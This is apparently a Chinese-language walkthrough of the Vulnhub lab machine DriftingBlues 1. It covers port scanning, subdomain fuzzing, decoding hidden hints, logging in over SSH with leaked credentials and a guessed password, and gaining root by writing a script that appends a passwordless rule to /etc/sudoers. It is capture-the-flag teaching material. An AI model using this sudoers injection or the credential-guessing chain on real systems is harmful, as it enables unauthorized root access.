[Vulnhub] DRIFTINGBLUES: 1
0x00 配置
攻击机 IP: 192.168.10.5
靶机 IP: 192.168.10.6
0x01 攻击
用 Namp 扫描靶机开放的端口
┌──(root㉿azwhikaru)-[~]
└─# nmap -sC -sV -p- 192.168.10.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 09:27 CST
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 54.12% done; ETC: 09:27 (0:00:01 remaining)
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 09:27 (0:00:06 remaining)
Nmap scan report for driftingblues.box (192.168.10.6)
Host is up (0.00044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cae6d11f27f26298efbfe438b5f16777 (RSA)
| 256 a8589999f681c4c2b4da44da9bf3b89b (ECDSA)
|_ 256 395b552a79edc3bff516fdbd61292ab7 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Drifting Blues Tech
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:25:30:A5 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds
发现了两个端口,22 (SSH) 和 80 (HTTP)。先看网页
网页上什么都没有。但是 Ctrl + U 查看源码的时候发现了一串 BASE64 文本
<button type="submit" class="btn btn-primary">
Subscribe
</button>
</form>
<!-- L25vdGVmb3JraW5nZmlzaC50eHQ= -->
</div>
</div>
解码后得到一个路径 /noteforkingfish.txt
┌──(root㉿azwhikaru)-[~]
└─# echo L25vdGVmb3JraW5nZmlzaC50eHQ= | base64 -d
/noteforkingfish.txt
访问之后发现 Ook 编码 (因为很长,这里就不放完整的了)
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook. Ook? Ook. Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook! Ook! Ook? Ook! Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook? Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook? Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook? Ook. Ook! Ook. Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook? Ook. Ook! Ook. Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! ...
使用 工具 解码后得到
my man, i know you are new but you should know how to use host file to reach our secret location. -eric
提示需要修改 host。在网页上发现域名 driftingblues.box
修改 hosts 解析到这个域名之后再次访问,发现依旧是原来的网站。使用 Wfuzz 工具枚举子域名
┌──(root㉿azwhikaru)-[~]
└─# wfuzz -c -u 'driftingblues.box' -H "Host:FUZZ.driftingblues.box" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 570
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://driftingblues.box/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 200 5 L 4 W 24 Ch "test"
Total time: 4.026231
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 1239.124
发现一个 test 二级域名,也添加到 hosts 中。再次访问
继续扫描这个二级域名,扫到了 robots.txt
┌──(root㉿azwhikaru)-[~]
└─# dirb http://test.driftingblues.box/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Feb 27 09:03:33 2023
URL_BASE: http://test.driftingblues.box/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://test.driftingblues.box/ ----
+ http://test.driftingblues.box/index.html (CODE:200|SIZE:24)
+ http://test.driftingblues.box/robots.txt (CODE:200|SIZE:125)
+ http://test.driftingblues.box/server-status (CODE:403|SIZE:287)
-----------------
END_TIME: Mon Feb 27 09:03:35 2023
DOWNLOADED: 4612 - FOUND: 3
robots.txt
User-agent: *
Disallow: /ssh_cred.txt
Allow: /never
Allow: /never/gonna
Allow: /never/gonna/give
Allow: /never/gonna/give/up
有一个不允许访问的 ssh_cred.txt。访问后得到
we can use ssh password in case of emergency. it was "1mw4ckyyucky".
sheryl once told me that she added a number to the end of the password.
-db
告诉我们可以用密码 1mw4ckyyucky 登录 SSH,但是 sheryl 在后面还加了一位数字,尝试用 sheryl 为用户名登录,全部失败了。用之前网页上的另一个用户名 eric 登录,试到 1mw4ckyyucky6 的时候登录成功
[C:\~]$ ssh eric@192.168.10.6
Connecting to 192.168.10.6:22...
Connection established.
To escape to local shell, press Ctrl+Alt+].
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.15.0-123-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
eric@driftingblues:~$ id
uid=1001(eric) gid=1001(eric) groups=1001(eric)
eric@driftingblues:~$ whoami
eric
获取到 user.txt
eric@driftingblues:~$ ls /home
eric
eric@driftingblues:~$ ls
Desktop Documents Downloads examples.desktop Music Pictures Public Templates user.txt Videos
eric@driftingblues:~$ cat user.txt
flag 1/2
░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
░░░░░█░░░░░░░░░░░░░░░░░░▀▀▄
░░░░█░░░░░░░░░░░░░░░░░░░░░░█
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█
░▄▀░▄▄▄░░█▀▀▀▀▄▄█░░░██▄▄█░░░░█
█░░█░▄░▀▄▄▄▀░░░░░░░░█░░░░░░░░░█
█░░█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄░█
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█
░░░█░░░░██░░▀█▄▄▄█▄▄█▄▄██▄░░█
░░░░█░░░░▀▀▄░█░░░█░█▀█▀█▀██░█
░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█
░░░░░░░▀▄▄░░░░░░░░░░░░░░░░░░░█
░░░░░█░░░░▀▀▄▄░░░░░░░░░░░░░░░█
░░░░▐▌░░░░░░█░▀▄▄▄▄▄░░░░░░░░█
░░███░░░░░▄▄█░▄▄░██▄▄▄▄▄▄▄▄▀
░▐████░░▄▀█▀█▄▄▄▄▄█▀▄▀▄
░░█░░▌░█░░░▀▄░█▀█░▄▀░░░█
░░█░░▌░█░░█░░█░░░█░░█░░█
░░█░░▀▀░░██░░█░░░█░░█░░█
░░░▀▀▄▄▀▀░█░░░▀▄▀▀▀▀█░░█
接下来需要提权。发现 eric 用户不能运行 gcc,没法执行现有的漏洞
eric@driftingblues:~$ gcc
-bash: /usr/bin/gcc: Permission denied
尝试监听定时事件。发现一个 /var/backups/backup.sh
#!/bin/bash
/usr/bin/zip -r -0 /tmp/backup.zip /var/www/
/bin/chmod
#having a backdoor would be nice
sudo /tmp/emergency
这个 backup.sh 我们没有写入权限,但是最后一行提示我们有个后门,会以 sudo 运行 /tmp/emergency。nano 这个文件,发现不存在,那么我们就可以自己编写了
# 将 eric 添加到 sudoers 中,并且不需要密码
echo "eric ALL=NOPASSWD:ALL" >> /etc/sudoers
修改好 777 权限,等待计划任务被执行后获得 Shell
eric@driftingblues:/tmp$ sudo -i
root@driftingblues:~# id
uid=0(root) gid=0(root) groups=0(root)
root@driftingblues:~# whoami
root
root@driftingblues:~# ls /root
root.txt
root@driftingblues:~# cat /root/root.txt
flag 2/2
░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
░░░░░█░░░░░░░░░░░░░░░░░░▀▀▄
░░░░█░░░░░░░░░░░░░░░░░░░░░░█
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█
░▄▀░▄▄▄░░█▀▀▀▀▄▄█░░░██▄▄█░░░░█
█░░█░▄░▀▄▄▄▀░░░░░░░░█░░░░░░░░░█
█░░█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄░█
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█
░░░█░░░░██░░▀█▄▄▄█▄▄█▄▄██▄░░█
░░░░█░░░░▀▀▄░█░░░█░█▀█▀█▀██░█
░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█
░░░░░░░▀▄▄░░░░░░░░░░░░░░░░░░░█
░░▐▌░█░░░░▀▀▄▄░░░░░░░░░░░░░░░█
░░░█▐▌░░░░░░█░▀▄▄▄▄▄░░░░░░░░█
░░███░░░░░▄▄█░▄▄░██▄▄▄▄▄▄▄▄▀
░▐████░░▄▀█▀█▄▄▄▄▄█▀▄▀▄
░░█░░▌░█░░░▀▄░█▀█░▄▀░░░█
░░█░░▌░█░░█░░█░░░█░░█░░█
░░█░░▀▀░░██░░█░░░█░░█░░█
░░░▀▀▄▄▀▀░█░░░▀▄▀▀▀▀█░░█
congratulations!
thank you for playing
成功获得 root.txt
0x02 总结
这道题卡我最久的地方就是枚举子域名的地方。网上很多题解都用 gobuster 扫,但是我的 gobuster 偏偏扫不出来,出来的都是乱码
┌──(root㉿azwhikaru)-[~]
└─# gobuster vhost -u driftingblues.box -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://driftingblues.box
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: false
===============================================================
2023/02/27 08:57:14 Starting gobuster in VHOST enumeration mode
===============================================================
Found: 1 Status: 400 [Size: 430]
Found: 11192521404255 Status: 400 [Size: 430]
Found: 11192521403954 Status: 400 [Size: 430]
Found: gc._msdcs Status: 400 [Size: 430]
Found: 2 Status: 400 [Size: 430]
Found: 11285521401250 Status: 400 [Size: 430]
Found: 2012 Status: 400 [Size: 430]
Found: 11290521402560 Status: 400 [Size: 430]
Found: 123 Status: 400 [Size: 430]
Found: 2011 Status: 400 [Size: 430]
Found: 3 Status: 400 [Size: 430]
Found: 4 Status: 400 [Size: 430]
Found: 2013 Status: 400 [Size: 430]
Found: 2010 Status: 400 [Size: 430]
Found: 911 Status: 400 [Size: 430]
Found: 11 Status: 400 [Size: 430]
Found: 24 Status: 400 [Size: 430]
Found: 10 Status: 400 [Size: 430]
Found: 7 Status: 400 [Size: 430]
Found: 99 Status: 400 [Size: 430]
Found: 2009 Status: 400 [Size: 430]
Found: www.1 Status: 400 [Size: 430]
Found: 50 Status: 400 [Size: 430]
Found: 12 Status: 400 [Size: 430]
Found: 20 Status: 400 [Size: 430]
Found: 2008 Status: 400 [Size: 430]
Found: 25 Status: 400 [Size: 430]
Found: 15 Status: 400 [Size: 430]
Found: 5 Status: 400 [Size: 430]
Found: www.2 Status: 400 [Size: 430]
Found: 13 Status: 400 [Size: 430]
Found: 100 Status: 400 [Size: 430]
Found: 44 Status: 400 [Size: 430]
Found: 54 Status: 400 [Size: 430]
Found: 9 Status: 400 [Size: 430]
Found: 70 Status: 400 [Size: 430]
Found: 01 Status: 400 [Size: 430]
Found: 16 Status: 400 [Size: 430]
Found: 39 Status: 400 [Size: 430]
Found: 6 Status: 400 [Size: 430]
Found: www.123 Status: 400 [Size: 430]
===============================================================
2023/02/27 08:57:15 Finished
===============================================================
扫出来的都是这样无意义的数字,后面换了 Wfuzz 才扫出来。不知道是不是我的参数有问题?
这道题没什么特别的难点,重要的是一些小套路需要有经验才能第一时间看出来 (比如计划运行),否则容易走弯路